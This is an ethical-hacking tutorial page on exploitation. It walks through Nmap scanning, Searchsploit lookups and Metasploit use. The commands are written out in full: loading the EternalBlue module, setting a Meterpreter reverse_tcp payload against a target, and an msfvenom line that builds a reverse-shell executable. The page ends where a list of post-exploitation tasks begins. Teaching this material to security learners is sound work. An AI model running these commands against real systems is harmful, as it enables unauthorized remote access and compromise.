Exploitation

Introduction to Exploitation

Exploitation in cybersecurity refers to the process of leveraging a vulnerability in a system, application, or network to gain unauthorized access, escalate privileges, or execute malicious actions. It is a crucial phase in both offensive and defensive security, particularly in Penetration Testing and Vulnerability Assessments, where ethical hackers or attackers identify weaknesses like outdated software, misconfigurations, weak passwords, or unpatched systems. Once a vulnerability is identified, exploits—specific pieces of code designed to target these weaknesses—can be deployed to manipulate the system. For instance, attackers may exploit flaws in a web server to gain administrative control, or they may use buffer overflow vulnerabilities to execute arbitrary code. The exploitation phase also includes tools like Metasploit, which simplifies finding and executing exploits, and manual exploitation using Exploit-DB for proof-of-concept code.

On the defensive side, this phase informs how to prioritize patch management and harden systems to prevent successful attacks. Exploitation is pivotal because it can lead to deeper access into networks, persistence within the system, and post-exploitation activities such as data exfiltration or further network compromise. In addition, knowing how exploitation works is essential for security professionals to defend against these attacks, understand how payloads work, and ensure that systems are appropriately patched to mitigate risks.

This guide covers exploitation using a variety of tools such as Metasploit, Searchsploit, and manual exploitation techniques.

Key Tools for Exploitation

There are multiple tools that can be used for exploitation in ethical hacking. The most popular ones are:

Video Credit: Loi Liang Yang - Metasploit for Beginners

1. Scanning and Enumerating the Target

Before exploiting a system, you need to understand what services and ports are open on the target machine. This is where tools like Nmap come in handy. For more information on Nmap, review the Reconnaissance Page.

Using Nmap

Nmap is one of the most popular tools for network discovery and vulnerability scanning. Here’s how to use it:

nmap -A -T4 192.168.1.100

This command performs an aggressive scan (-A), which will gather information about the OS, running services, open ports, and potential vulnerabilities. The -T4 option sets the scan speed to faster than the default. Replace 192.168.1.100 with the target's IP address.

Once you’ve run the scan, Nmap will return a list of open ports and running services. This information is essential in deciding which vulnerabilities may exist. For example, if Nmap finds that port 445 (SMB) is open on a Windows machine, you can look for SMB-related exploits, such as EternalBlue.

Importing Nmap Scan Results into Metasploit

If you are using Metasploit, you can import the Nmap scan results directly into it:

db_import /path/to/nmap_scan.xml

This allows Metasploit to recognize the services running on the target system, streamlining the exploitation process.

Using Searchsploit

Searchsploit is a command-line utility for searching Exploit-DB for publicly available exploits. You can use it after identifying a service or software version from your scan:

searchsploit vsftpd 2.3.4

This command will search the local Exploit-DB database for any vulnerabilities related to vsftpd version 2.3.4.

2. Choosing and Using Metasploit

Metasploit Framework is an open-source exploitation tool that allows you to search, configure, and execute exploits in a streamlined and user-friendly way. It provides an extensive database of publicly available exploits and payloads.

Starting Metasploit

To launch Metasploit, use the following command:

msfconsole

This will start the Metasploit console, from which you can access all of its features.

Searching for Exploits

Metasploit makes it easy to search for exploits. Once you know which service or software is vulnerable, you can search for related exploits using:

search smb

This will return all exploits related to SMB. From the list, you can choose an exploit, such as the EternalBlue exploit.

use exploit/windows/smb/ms17_010_eternalblue

This command tells Metasploit to load the EternalBlue exploit module, which targets the SMB vulnerability in Windows systems.

Configuring Exploits: Setting LHOST, RHOSTS, and Ports

After selecting the exploit, you need to configure the attack by setting your RHOSTS (target IP), LHOST (attacker's IP), and, if necessary, the port.

set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set RPORT 445

These commands set the target IP to 192.168.1.100 and the attacker's IP (your machine) to 192.168.1.50, with the service running on port 445 (SMB).

Selecting Payloads

A payload is the piece of code that gets executed on the target system after the vulnerability is successfully exploited. The most common payload used is Meterpreter, which gives you a powerful, interactive shell on the target system. To set Meterpreter as the payload, use:

set PAYLOAD windows/meterpreter/reverse_tcp

This payload will establish a reverse TCP connection from the victim’s machine back to your attacking machine (LHOST).

Executing the Exploit

Once all the necessary parameters are set (RHOSTS, LHOST, payload), you can launch the exploit. In Metasploit, this is done by running:

exploit

If the exploit is successful, you will get a Meterpreter session, giving you access to the target machine.

Using Custom Payloads with Msfvenom

You can also use Msfvenom to generate custom payloads. For example, to create a reverse TCP payload in an `.exe` file, use:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe > shell.exe

This creates an executable file with a Meterpreter reverse shell, which you can then use to exploit the target.

3. Post-Exploitation: What to Do After Gaining Access

Once you have gained access to the target system, there are various actions you can perform depending on your objective. These actions are referred to as Post-Exploitation Tasks. They can include gathering sensitive data, maintaining access, escalating privileges, and cleaning up after yourself to avoid detection. Review the next steps in the Privilege Escalation page.

Some common post-exploitation tasks include: